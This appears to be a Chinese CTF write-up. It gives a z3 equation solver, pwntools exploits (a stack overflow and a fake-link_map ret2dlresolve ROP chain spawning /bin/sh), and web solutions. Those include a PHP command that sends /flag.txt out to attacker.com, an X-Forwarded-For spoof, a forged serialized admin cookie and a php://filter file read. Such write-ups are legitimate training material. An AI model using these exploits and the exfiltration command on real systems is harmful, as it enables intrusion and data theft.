- 3 * (x[32 ] * x[8 ]) + 10 * (x[37 ] * x[5 ]) + 9 * x[37 ] - 49419 == 0 , - 8 * (x[10 ] * x[23 ]) + 8 * (x[10 ] * x[6 ]) + 2 * x[12 ] * x[12 ] + 9 * (x[13 ] * x[7 ]) + 10 * (x[14 ] * x[26 ]) + x[ 16 ] * x[28 ] + 5 * (x[28 ] * x[4 ]) - 6 * x[31 ] * x[31 ] + 6 * (x[35 ] * x[4 ]) + 9 * x[36 ] - 170291 == 0 , 3 * (x[0 ] * x[10 ]) - 4 * (x[0 ] * x[14 ]) + x[1 ] * x[15 ] - 6 * (x[1 ] * x[32 ]) - 3 * (x[11 ] * x[13 ]) + 10 * ( x[12 ] * x[3 ]) - 3 * (x[13 ] * x[30 ]) + 10 * (x[13 ] * x[9 ]) - 5 * (x[16 ] * x[28 ]) - 2 * ( x[16 ] * x[30 ]) + 3 * (x[18 ] * x[19 ]) + 7 * x[20 ] * x[20 ] - x[21 ] * x[37 ] + 6 * (x[25 ] * x[5 ]) + 10 * x[ 25 ] - 3 * (x[26 ] * x[33 ]) + 9 * (x[35 ] * x[8 ]) + 6 * (x[36 ] * x[4 ]) + 5 * (x[36 ] * x[9 ]) + 2 * x[ 36 ] - 205432 == 0 , - 7 * (x[0 ] * x[20 ]) + 2 * (x[10 ] * x[32 ]) + 8 * (x[12 ] * x[5 ]) + 2 * (x[13 ] * x[8 ]) + 5 * ( x[14 ] * x[21 ]) - 5 * ( x[14 ] * x[23 ]) + 3 * (x[17 ] * x[36 ]) - 2 * (x[18 ] * x[22 ]) + 10 * (x[18 ] * x[33 ]) + 8 * ( x[19 ] * x[24 ]) - 2 * (x[21 ] * x[27 ]) + 10 * (x[22 ] * x[28 ]) - 2 * (x[24 ] * x[29 ]) - 4 * ( x[29 ] * x[31 ]) + 9 * x[36 ] - 56152 == 0 , 6 * (x[1 ] * x[27 ]) - 2 * (x[16 ] * x[2 ]) - 8 * (x[17 ] * x[6 ]) + 9 * (x[18 ] * x[36 ]) - 5 * (x[20 ] * x[8 ]) + 5 * ( x[30 ] * x[8 ]) - 55188 == 0 , 8 * x[1 ] - 7 * (x[11 ] * x[14 ]) + 4 * (x[11 ] * x[23 ]) + 4 * (x[12 ] * x[5 ]) + 3 * (x[15 ] * x[26 ]) - 3 * ( x[16 ] * x[21 ]) + 6 * (x[16 ] * x[33 ]) + 5 * (x[17 ] * x[37 ]) - 2 * x[19 ] * x[19 ] - 4 * ( x[19 ] * x[26 ]) - 2 * (x[19 ] * x[36 ]) - 5 * (x[2 ] * x[37 ]) + 5 * (x[20 ] * x[26 ]) - 5 * (x[25 ] * x[7 ]) + x[33 ] * x[33 ] - 6 * (x[35 ] * x[6 ]) - 3 * (x[4 ] * x[5 ]) + 127300 == 0 , - 8 * (x[0 ] * x[14 ]) + 4 * (x[0 ] * x[23 ]) - 6 * (x[0 ] * x[25 ]) + 3 * (x[1 ] * x[26 ]) - 8 * (x[1 ] * x[31 ]) + x[ 10 ] * x[12 ] - 3 * (x[10 ] * x[24 ]) - 4 * (x[10 ] * x[28 ]) + 3 * (x[10 ] * x[35 ]) + x[10 ] * x[9 ] + 10 * x[10 ] - 4 * ( x[11 ] * x[28 ]) - 6 * (x[11 ] * x[6 ]) - 4 * x[20 ] * x[20 ] - 2 * (x[20 ] * x[34 ]) - 5 * ( x[21 ] * x[34 ]) + 2 * (x[24 ] * x[4 ]) - 2 * (x[3 ] * x[35 ]) + 9 * (x[30 ] * x[31 ]) - 8 * ( x[31 ] * x[33 ]) - 2 * (x[36 ] * x[7 ]) + 264644 == 0 , - 4 * (x[0 ] * x[20 ]) + 8 * (x[1 ] * x[23 ]) - 3 * (x[1 ] * x[29 ]) - 5 * (x[10 ] * x[3 ]) - 2 * ( x[12 ] * x[23 ]) + 6 * ( x[12 ] * x[28 ]) - 4 * (x[12 ] * x[32 ]) + 5 * (x[15 ] * x[22 ]) - 7 * (x[15 ] * x[3 ]) + 7 * ( x[15 ] * x[9 ]) + 9 * (x[16 ] * x[22 ]) + 6 * (x[17 ] * x[34 ]) + 3 * (x[18 ] * x[27 ]) - 6 * ( x[18 ] * x[6 ]) + 4 * (x[18 ] * x[8 ]) - 3 * (x[20 ] * x[26 ]) + 2 * (x[20 ] * x[31 ]) - 5 * ( x[23 ] * x[27 ]) + 5 * (x[23 ] * x[33 ]) - 6 * (x[26 ] * x[31 ]) - 6 * (x[26 ] * x[35 ]) - 8 * ( x[35 ] * x[5 ]) - 2 * x[36 ] * x[36 ] + 78340 == 0 , x[0 ] * x[14 ] + 10 * (x[0 ] * x[28 ]) - 2 * (x[10 ] * x[13 ]) + 6 * (x[10 ] * x[26 ]) + 9 * (x[11 ] * x[4 ]) - 6 * ( x[11 ] * x[7 ]) + 5 * (x[15 ] * x[33 ]) + 8 * (x[17 ] * x[32 ]) + 9 * (x[19 ] * x[22 ]) + 9 * ( x[19 ] * x[6 ]) - 5 * (x[24 ] * x[25 ]) + 6 * x[32 ] - 6 * x[35 ] * x[35 ] - 296052 == 0 , - 8 * (x[1 ] * x[11 ]) + 3 * (x[13 ] * x[31 ]) + x[14 ] * x[32 ] - 2 * (x[15 ] * x[37 ]) - x[17 ] * x[7 ] + 5 * ( x[18 ] * x[20 ]) + 10 * x[19 ] * x[19 ] - 7 * (x[19 ] * x[33 ]) - 4 * (x[20 ] * x[32 ]) - x[21 ] * x[32 ] + 8 * ( x[22 ] * x[29 ]) - 3 * (x[23 ] * x[27 ]) + 2 * (x[25 ] * x[31 ]) + 4 * (x[28 ] * x[7 ]) - 5 * ( x[29 ] * x[7 ]) + 4 * (x[31 ] * x[6 ]) + 9 * x[6 ] * x[6 ] - 110623 == 0 , 10 * (x[0 ] * x[10 ]) - x[0 ] * x[32 ] + 7 * (x[0 ] * x[34 ]) - 5 * (x[11 ] * x[37 ]) + 10 * (x[12 ] * x[35 ]) + 9 * ( x[13 ] * x[26 ]) - 5 * (x[16 ] * x[2 ]) + x[18 ] * x[20 ] - 8 * (x[18 ] * x[4 ]) + 10 * (x[2 ] * x[34 ]) - 7 * ( x[21 ] * x[23 ]) - 6 * (x[26 ] * x[33 ]) - 3 * (x[27 ] * x[31 ]) + 3 * x[35 ] - 3 * (x[7 ] * x[9 ]) + 89693 == 0 - x[10 ] * x[16 ] + 4 * (x[10 ] * x[17 ]) + 3 * (x[11 ] * x[14 ]) - 4 * (x[11 ] * x[24 ]) - 8 * x[11 ] + 4 * ( x[15 ] * x[29 ]) - 2 * (x[17 ] * x[26 ]) + 6 * (x[17 ] * x[27 ]) + 3 * (x[17 ] * x[4 ]) + 10 * ( x[18 ] * x[8 ]) - 8 * (x[20 ] * x[34 ]) + 2 * (x[21 ] * x[24 ]) - 4 * (x[23 ] * x[9 ]) - 4 * x[26 ] * x[ 26 ] - 3 * (x[30 ] * x[8 ]) + 7 * (x[32 ] * x[37 ]) - 8 * x[33 ] * x[33 ] - x[35 ] * x[35 ] - 8 * x[36 ] * x[36 ] - x[ 36 ] * x[4 ] - 4 * (x[36 ] * x[8 ]) + 6 * (x[37 ] * x[9 ]) + 8 * x[5 ] * x[5 ] - 19910 == 0 , 5 * (x[14 ] * x[33 ]) + 7 * (x[16 ] * x[4 ]) + 4 * x[19 ] * x[19 ] - 2 * (x[19 ] * x[5 ]) - 6 * (x[22 ] * x[29 ]) + 3 * ( x[24 ] * x[32 ]) + 3 * x[36 ] - 121615 == 0 , 2 * (x[11 ] * x[12 ]) - 8 * (x[11 ] * x[4 ]) + 9 * (x[12 ] * x[23 ]) + 4 * (x[15 ] * x[23 ]) + 2 * ( x[15 ] * x[8 ]) + 8 * ( x[18 ] * x[33 ]) + x[19 ] * x[27 ] + 2 * (x[19 ] * x[30 ]) + 6 * (x[2 ] * x[23 ]) - 5 * (x[22 ] * x[27 ]) - 7 * x[ 23 ] * x[23 ] - 7 * (x[24 ] * x[34 ]) - 6 * (x[28 ] * x[34 ]) - 6 * (x[28 ] * x[35 ]) - 4 * (x[3 ] * x[4 ]) - 5 * ( x[37 ] * x[8 ]) + 83733 == 0 , - 2 * (x[10 ] * x[20 ]) - 5 * (x[10 ] * x[34 ]) - 2 * (x[12 ] * x[16 ]) + x[12 ] * x[23 ] - 4 * (x[12 ] * x[24 ]) + 9 * ( x[12 ] * x[26 ]) - 3 * x[13 ] + 8 * (x[14 ] * x[16 ]) + 10 * (x[18 ] * x[37 ]) + 10 * (x[24 ] * x[35 ]) + 9 * ( x[25 ] * x[4 ]) + x[26 ] - 4 * (x[30 ] * x[33 ]) + 4 * (x[37 ] * x[6 ]) - 319804 == 0 , - 7 * (x[10 ] * x[4 ]) - 3 * (x[10 ] * x[6 ]) + 2 * x[13 ] * x[13 ] - 4 * (x[13 ] * x[18 ]) + 8 * (x[16 ] * x[6 ]) - 6 * ( x[19 ] * x[34 ]) + 6 * (x[21 ] * x[31 ]) - 6 * (x[23 ] * x[8 ]) - 2 * (x[26 ] * x[5 ]) + 40508 == 0 , 7 * (x[0 ] * x[22 ]) + 8 * (x[10 ] * x[19 ]) + 7 * x[15 ] * x[15 ] + 10 * (x[16 ] * x[4 ]) + 2 * (x[17 ] * x[9 ]) - 5 * ( x[20 ] * x[31 ]) + 7 * (x[22 ] * x[30 ]) + x[23 ] * x[29 ] + 6 * (x[31 ] * x[33 ]) - 8 * ( x[36 ] * x[9 ]) - 254907 == 0 , - 6 * (x[0 ] * x[30 ]) - 5 * (x[11 ] * x[36 ]) - 8 * (x[12 ] * x[21 ]) + 10 * (x[13 ] * x[20 ]) + 2 * ( x[17 ] * x[19 ]) + 3 * (x[2 ] * x[24 ]) + 7 * (x[2 ] * x[31 ]) - 3 * (x[20 ] * x[3 ]) - 5 * ( x[21 ] * x[29 ]) + 9 * (x[22 ] * x[5 ]) - 6 * (x[24 ] * x[28 ]) + 6 * (x[24 ] * x[36 ]) + 6 * ( x[27 ] * x[28 ]) - 5 * (x[31 ] * x[6 ]) - 4 * x[31 ] - 7 * (x[34 ] * x[8 ]) + 40619 == 0 , 4 * (x[0 ] * x[2 ]) + 8 * (x[10 ] * x[23 ]) - 2 * (x[10 ] * x[37 ]) - 7 * (x[11 ] * x[4 ]) - 7 * (x[12 ] * x[2 ]) + 9 * ( x[13 ] * x[17 ]) + 5 * (x[13 ] * x[8 ]) - 6 * (x[15 ] * x[22 ]) + x[19 ] * x[7 ] - 8 * x[2 ] * x[2 ] + 4 * x[21 ] * x[21 ] - 7 * (x[21 ] * x[5 ]) + 7 * (x[24 ] * x[3 ]) - x[27 ] * x[29 ] + 2 * (x[27 ] * x[4 ]) - 2 * ( x[31 ] * x[35 ]) + 3 * ( x[33 ] * x[37 ]) + 5 * (x[36 ] * x[5 ]) - 3 * (x[4 ] * x[8 ]) + 5 * x[8 ] + 10109 == 0 , - 5 * (x[1 ] * x[17 ]) + 5 * (x[10 ] * x[28 ]) + x[11 ] * x[29 ] + 10 * (x[13 ] * x[27 ]) + 7 * (x[15 ] * x[9 ]) - 4 * ( x[17 ] * x[29 ]) - 7 * (x[18 ] * x[22 ]) + 8 * (x[19 ] * x[8 ]) - 4 * (x[20 ] * x[30 ]) + 3 * ( x[21 ] * x[6 ]) + 2 * (x[23 ] * x[3 ]) + 6 * (x[24 ] * x[26 ]) + 5 * (x[25 ] * x[34 ]) - 7 * ( x[35 ] * x[37 ]) + 8 * (x[36 ] * x[8 ]) + 2 * x[5 ] * x[5 ] + 10 * x[9 ] * x[9 ] - 165302 == 0 , - 6 * (x[0 ] * x[24 ]) - 5 * (x[0 ] * x[35 ]) + 3 * (x[0 ] * x[36 ]) + 5 * (x[1 ] * x[10 ]) - 4 * (x[11 ] * x[9 ]) + 2 * ( x[12 ] * x[3 ]) - 2 * (x[13 ] * x[5 ]) + x[15 ] * x[31 ] + 8 * (x[16 ] * x[21 ]) + 9 * (x[16 ] * x[37 ]) + 2 * ( x[17 ] * x[36 ]) + 4 * (x[18 ] * x[7 ]) + 9 * (x[20 ] * x[7 ]) + 8 * (x[22 ] * x[37 ]) + 5 * (x[23 ] * x[30 ]) - x[24 ] * x[5 ] - 3 * (x[25 ] * x[9 ]) + 9 * (x[26 ] * x[6 ]) + 10 * (x[28 ] * x[35 ]) + 3 * (x[3 ] * x[31 ]) + 4 * ( x[32 ] * x[34 ]) + 10 * (x[37 ] * x[9 ]) - 481702 == 0 , - 4 * (x[11 ] * x[16 ]) - x[12 ] * x[35 ] + 10 * (x[12 ] * x[5 ]) - x[16 ] * x[34 ] + 6 * (x[18 ] * x[35 ]) + 2 * ( x[19 ] * x[3 ]) + 4 * (x[21 ] * x[6 ]) - 8 * (x[22 ] * x[3 ]) + 10 * (x[22 ] * x[36 ]) + 6 * x[23 ] + x[26 ] * x[ 33 ] + 6 * (x[26 ] * x[6 ]) - 6 * (x[3 ] * x[8 ]) + 10 * (x[32 ] * x[9 ]) + 5 * x[33 ] * x[33 ] - 129181 == 0 - 4 * (x[0 ] * x[4 ]) + 3 * (x[12 ] * x[31 ]) - x[14 ] * x[7 ] - x[21 ] * x[24 ] - 6 * (x[21 ] * x[26 ]) - 2 * ( x[21 ] * x[5 ]) + 4 * (x[24 ] * x[35 ]) + 3 * x[28 ] * x[28 ] + 8 * (x[28 ] * x[7 ]) + 4 * ( x[31 ] * x[33 ]) + 6 * (x[33 ] * x[35 ]) - 5 * (x[5 ] * x[6 ]) + 55584 == 0 , - 8 * (x[1 ] * x[20 ]) + 6 * (x[10 ] * x[6 ]) + x[10 ] * x[9 ] + 2 * (x[12 ] * x[19 ]) - 2 * (x[13 ] * x[26 ]) + 2 * ( x[15 ] * x[9 ]) + 5 * (x[18 ] * x[32 ]) + 8 * (x[19 ] * x[8 ]) + 6 * x[2 ] + 6 * (x[20 ] * x[22 ]) - 4 * ( x[21 ] * x[29 ]) + 9 * (x[21 ] * x[30 ]) + 6 * x[22 ] * x[22 ] + x[27 ] * x[4 ] - 3 * (x[31 ] * x[35 ]) - 5 * ( x[32 ] * x[8 ]) + 7 * (x[35 ] * x[6 ]) + 8 * (x[4 ] * x[9 ]) - 152058 == 0 , 6 * (x[11 ] * x[20 ]) + 8 * (x[12 ] * x[5 ]) - 2 * x[12 ] - 8 * (x[13 ] * x[18 ]) - 4 * (x[13 ] * x[3 ]) + 2 * ( x[13 ] * x[4 ]) + 7 * (x[17 ] * x[9 ]) + 9 * (x[19 ] * x[27 ]) - 7 * (x[19 ] * x[36 ]) - 3 * ( x[20 ] * x[27 ]) - 8 * (x[20 ] * x[36 ]) + 9 * (x[20 ] * x[8 ]) + 7 * (x[24 ] * x[29 ]) - 4 * ( x[28 ] * x[33 ]) - 6 * (x[30 ] * x[5 ]) - 4 * (x[33 ] * x[9 ]) + 3 * x[9 ] * x[9 ] + 60529 == 0 , - 7 * (x[0 ] * x[14 ]) - 4 * (x[0 ] * x[2 ]) - 8 * (x[1 ] * x[27 ]) - 6 * (x[10 ] * x[20 ]) - 4 * ( x[10 ] * x[31 ]) + 4 * ( x[10 ] * x[34 ]) + 8 * (x[12 ] * x[20 ]) + 3 * (x[13 ] * x[23 ]) + 7 * (x[15 ] * x[31 ]) - 7 * (x[18 ] * x[30 ]) + x[18 ] * x[33 ] - 2 * (x[19 ] * x[20 ]) - 2 * (x[21 ] * x[22 ]) - 3 * (x[22 ] * x[33 ]) - 6 * (x[23 ] * x[36 ]) + 5 * ( x[29 ] * x[8 ]) + 3 * (x[37 ] * x[4 ]) + 139821 == 0 , 10 * (x[0 ] * x[20 ]) - 6 * (x[1 ] * x[36 ]) + 8 * (x[10 ] * x[18 ]) + 6 * (x[13 ] * x[30 ]) + 8 * ( x[13 ] * x[32 ]) - 4 * ( x[16 ] * x[4 ]) - 7 * (x[16 ] * x[6 ]) - 3 * (x[17 ] * x[28 ]) + 9 * (x[18 ] * x[3 ]) + 4 * ( x[21 ] * x[9 ]) + 2 * (x[24 ] * x[28 ]) + 4 * (x[26 ] * x[32 ]) + x[28 ] * x[3 ] + 9 * (x[28 ] * x[35 ]) + 10 * ( x[3 ] * x[4 ]) + 8 * (x[35 ] * x[5 ]) - 330683 == 0 , 4 * (x[0 ] * x[21 ]) + 5 * (x[1 ] * x[14 ]) + 7 * (x[1 ] * x[19 ]) + 10 * (x[1 ] * x[26 ]) + x[1 ] * x[35 ] + 7 * x[10 ] * x[ 10 ] - 2 * (x[10 ] * x[24 ]) - 4 * (x[11 ] * x[7 ]) - 5 * (x[12 ] * x[28 ]) + 6 * (x[14 ] * x[25 ]) - 3 * ( x[15 ] * x[30 ]) - 7 * (x[15 ] * x[8 ]) + 8 * (x[16 ] * x[18 ]) - 2 * (x[17 ] * x[3 ]) + 8 * ( x[17 ] * x[8 ]) + 2 * (x[2 ] * x[36 ]) - 8 * (x[21 ] * x[22 ]) + 5 * (x[21 ] * x[27 ]) + 5 * ( x[24 ] * x[3 ]) - 5 * (x[25 ] * x[27 ]) + 4 * (x[30 ] * x[6 ]) + 5 * (x[30 ] * x[8 ]) - 8 * x[33 ] + 2 * x[5 ] * x[5 ] - 349237 == 0 , - 8 * (x[0 ] * x[22 ]) - 2 * (x[10 ] * x[25 ]) + 3 * (x[10 ] * x[35 ]) - 3 * (x[17 ] * x[26 ]) - 8 * ( x[20 ] * x[9 ]) - 2 * ( x[31 ] * x[8 ]) + 2 * (x[7 ] * x[8 ]) + 87249 == 0 , 7 * (x[0 ] * x[1 ]) + 2 * (x[11 ] * x[26 ]) - 4 * (x[12 ] * x[32 ]) + 8 * (x[13 ] * x[23 ]) - 4 * x[14 ] + 10 * ( x[15 ] * x[16 ]) + 8 * (x[16 ] * x[33 ]) + x[21 ] * x[34 ] - 8 * (x[22 ] * x[29 ]) - 2 * (x[25 ] * x[32 ]) + 2 * ( x[25 ] * x[9 ]) - 2 * (x[34 ] * x[36 ]) - 257930 == 0 , 6 * (x[0 ] * x[29 ]) - x[11 ] * x[20 ] + 7 * (x[13 ] * x[3 ]) + 2 * (x[16 ] * x[2 ]) + 10 * (x[16 ] * x[28 ]) + 8 * ( x[2 ] * x[37 ]) + 8 * (x[2 ] * x[6 ]) + 3 * (x[23 ] * x[8 ]) - 4 * (x[29 ] * x[31 ]) + 8 * x[30 ] * x[30 ] - 2 * x[31 ] - 6 * (x[4 ] * x[5 ]) - 6 * x[7 ] - 347541 == 0 ) if solver.check() == sat: model = solver.model() flag = bytes ([model.eval (xi).as_long() for xi in x]).decode() return flag else : return "No solution." print ("Flag:" , solve_equations())
flag{3c3257f9efec0bdcf1e99841f600715f}
Pwn 1.Canary 一、题目截图
二、解题思路 exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p=remote('47.105.113.86',30001) binsh=0x401581 payload=b'a'*(88+16)+p64(0)+p64(0)+p64(binsh) p.recvuntil('your choice') p.sendline('1') p.recvuntil('code:') p.sendline(payload) p.recvuntil('your choice') p.sendline('2') p.sendline('3') p.interactive()
2.ez_pwn 一、题目截图
二、解题思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p = remote('47.105.113.86' ,30003 ) elf = ELF('./pwn' ) libc= ELF('./libc-2.31.so' ) def build_fake_link_map (elf,linkmap_addr,onegot,offset ): target_addr = linkmap_addr-8 linkmap = p64(offset & (2 **64 -1 )) linkmap = linkmap.ljust(0x68 ,b'\x00' ) linkmap += p64(linkmap_addr) linkmap += p64(linkmap_addr+0x100 ) linkmap = linkmap.ljust(0xf8 ,b'\x00' ) linkmap += p64(linkmap_addr+0x110 ) linkmap += p64(0 )+p64(onegot-8 ) linkmap += p64(0 )+p64(linkmap_addr+0x120 ) linkmap += p64(target_addr-offset)+p64(7 )+p64(0 ) return linkmap plt0 = elf.get_section_by_name('.plt' ).header.sh_addr fake_link_map_addr = 0x404000 +0x500 fake_link_map = build_fake_link_map(elf,fake_link_map_addr,elf.got['read' ],libc.sym['system' ]-libc.sym['read' ]) sh_addr = fake_link_map_addr + len (fake_link_map) prdi = 0x4012c3 prsi_r15 = 0x4012c1 payload = 0x28 *b'\x00' +p64(prdi)+p64(0 )+p64(prsi_r15)+p64(fake_link_map_addr)+p64(0 )+p64(elf.plt['read' ]) payload += p64(0x40119A )+p64(prdi) + p64(sh_addr) + p64(plt0+6 )+p64(fake_link_map_addr)+p64(0 ) payload = payload.ljust(0x200 ,b'\x00' ) p.sendafter('now.' ,payload) payload = fake_link_map+b'/bin/sh\x00' p.send(payload) p.interactive()
重定向输出exec 1>&0
再输入指令获得flag
Web 1.easyweb 一、题目截图
二、解题思路 要获取位于/flag.txt的flag,需通过外带数据的方式绕过无直接输出的限制。
这里使用远程服务器连接的方法
1 cmd=php -r '$f=file_get_contents("/flag.txt"); file_get_contents("http://attacker.com/?flag=".urlencode($f));'
http://attacker.com换成自己的服务器ip进行连接
flag{d4ek6s7kzztx}
2.YWB_Web_xff 一、题目截图
二、解题思路 看服务器源代码发现ip地址2.2.2.1
使用X-Forwarded-For仿照ip,执行
3.YWB_Web_未授权访问 一、题目截图
二、解题思路 php反序列化
替换编码:user=O:5:”Admin”:2:{s:4:”name”;s:5:”guest”;s:7:”isAdmin”;b:0;}
反序列化
换成user=O:5:”Admin”:2:{s:4:”name”;s:5:”guest”;s:7:”isAdmin”;b:1;}
编码后修改cookie:user=O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
执行后获得flag
4.YWB_Web_命令执行过滤绕过 一、题目截图
二、解题思路 1 http://47.105.113.86:40002/?cmd=var_dump(file_get_contents("php://filter/convert.base64-encode/resource=flag.php"));
cyberchef解密,指向/tmp/flag.nisp
再次利用漏洞
flag{dnu3stfgjy61}
5.YWB_Web_反序列化 一、题目截图
二、解题思路 O:7:”mylogin”:2:{s:4:”user”;s:4:”user”;s:4:”pass”;s:11:”myzS@11wawq”;}